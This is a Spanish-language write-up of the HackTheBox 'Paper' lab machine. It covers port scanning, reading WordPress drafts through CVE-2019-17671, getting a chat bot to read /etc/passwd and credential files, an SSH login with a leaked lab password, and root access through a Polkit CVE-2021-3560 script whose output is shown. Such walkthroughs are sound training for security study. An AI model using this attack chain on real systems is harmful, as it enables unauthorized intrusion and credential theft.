Post

HackTheBox - Paper

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, Wordpress Drafts (CVE-2019-17671), ByPass Bot Restriction, Polkit (CVE-2021-3560)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

  • Para conocer más del sistema web usaremos whatweb

    1
    2
    
      ❯ whatweb 10.10.11.143
      http://10.10.11.143 [403 Forbidden] Apache[2.4.37][mod_fcgid/2.3.9], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], MetaGenerator[HTML Tidy for HTML5 for Linux version 5.7.28], OpenSSL[1.1.1k], PoweredBy[CentOS], Title[HTTP Server Test Page powered by CentOS], UncommonHeaders[x-backend-server], X-Backend[office.paper]
    

    Lo más relevante de esta información es ver un host office.paper, así que lo añadimos al /etc/hosts

c. Al visitar ese nuevo host veremos un Wordpress y al ir investigando veremos este comentario

El comentario de arriba, menciona algo sobre la existencia de una secreto en los drafts (borradores)

  • Al investigar sobre alguna vulnerabilidad asociada a esto llegamos a CVE-2019-17671, aquí nos dicen que inyectando un sentencia podemos llegar a ver borradores

  • Añadimos el nuevo dominio al fichero /etc/hosts. Lo visitamos y registramos una cuenta

d. Leyendo mensajes anteriores de este chat detectamos un bot recyclops

  • La funcionalidad más relevante es la de leer y listar ficheros. Para interactuar con el bot le enviamos mensajes directos

e. Leemos el archivo /etc/passwd para ver los usuarios en el sistema. Después, vemos archivos que puedan tener credenciales

  • Estas credenciales son válidas para el servicio ssh

    1
    2
    3
    
      ❯ ssh dwight@10.10.11.143
      dwight@10.10.11.143's password: Queenofblad3s!23
      [dwight@paper ~]$
    

Escalada de Privilegios 💹

a. En este articulo mencionan sobre la escalación de privilegios vía Polkit

  • Copiamos el fichero poc.sh y lo guardamos en la máquina víctima

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
      [dwight@paper ~]$ ./poc.sh 
    
      [!] Username set as : secnigma
      [!] Starting exploit...
      [!] Inserting Username secnigma...
      Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
      [+] Inserted Username secnigma  with UID 1005!
      [!] Inserting password hash...
      [!] It looks like the password insertion was succesful!
      [!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
      [dwight@paper ~]$ su secnigma
      Password: secnigmaftw
      [secnigma@paper dwight]$ sudo bash
      [sudo] password for secnigma: secnigmaftw
      [root@paper dwight]#
    

    Debemos ejecutar este script varias veces hasta que funcione.

This post is licensed under CC BY 4.0 by the author.